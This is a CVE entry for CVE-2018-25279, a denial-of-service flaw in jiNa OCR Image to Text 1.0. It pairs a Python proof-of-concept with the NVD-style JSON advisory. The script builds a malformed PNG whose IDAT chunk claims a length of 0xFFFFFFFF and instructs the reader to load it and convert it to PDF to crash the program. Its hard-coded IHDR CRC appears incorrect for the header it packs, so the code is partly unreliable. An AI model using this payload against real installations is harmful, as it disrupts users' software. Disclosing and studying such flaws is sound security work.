CVE-2018-25279

import struct # PoC script to generate a malformed PNG file triggering DoS in jiNa OCR 1.0 # This creates a PNG with a massive chunk length to cause a crash during PDF conversion. def create_malformed_png(filename): # Standard PNG Signature png_sig = b'\x89PNG\r\n\x1a\n' # IHDR Chunk (Width: 1, Height: 1, Bit depth: 8, etc.) width = 1 height = 1 ihdr_data = struct.pack('>IIBBBBB', width, height, 8, 2, 0, 0, 0) ihdr_crc = 0x58C41F5D # Pre-calculated CRC for this specific IHDR ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # Malicious Chunk: Set length to a very large value (e.g., 0xFFFFFFFF) # The application will try to allocate this size, leading to a crash. bad_length = 0xFFFFFFFF chunk_type = b'IDAT' # Minimal data + dummy CRC malformed_chunk = struct.pack('>I', bad_length) + chunk_type + b'\x00' + struct.pack('>I', 0xDEADBEEF) with open(filename, 'wb') as f: f.write(png_sig) f.write(ihdr_chunk) f.write(malformed_chunk) print(f"[+] Malformed PNG file generated: {filename}") print("[+] Load this file in jiNa OCR 1.0 and convert to PDF to trigger the crash.") if __name__ == "__main__": create_malformed_png('cve_2018_25279_poc.png')

{"cve": {"id": "CVE-2018-25279", "sourceIdentifier": "[email protected]", "published": "2026-04-26T22:17:28.547", "lastModified": "2026-04-27T18:55:32.883", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "jiNa OCR Image to Text 1.0 contains a denial of service vulnerability that allows local attackers to crash the application by processing a malformed PNG file. Attackers can create a specially crafted PNG file with an oversized buffer and trigger the crash when the application attempts to convert the file to PDF."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-789"}]}], "references": [{"url": "http://www.convertimagetotext.net/downloadsoftware.php", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/45380", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/jina-ocr-image-to-text-denial-of-service-via-png", "source": "[email protected]"}]}}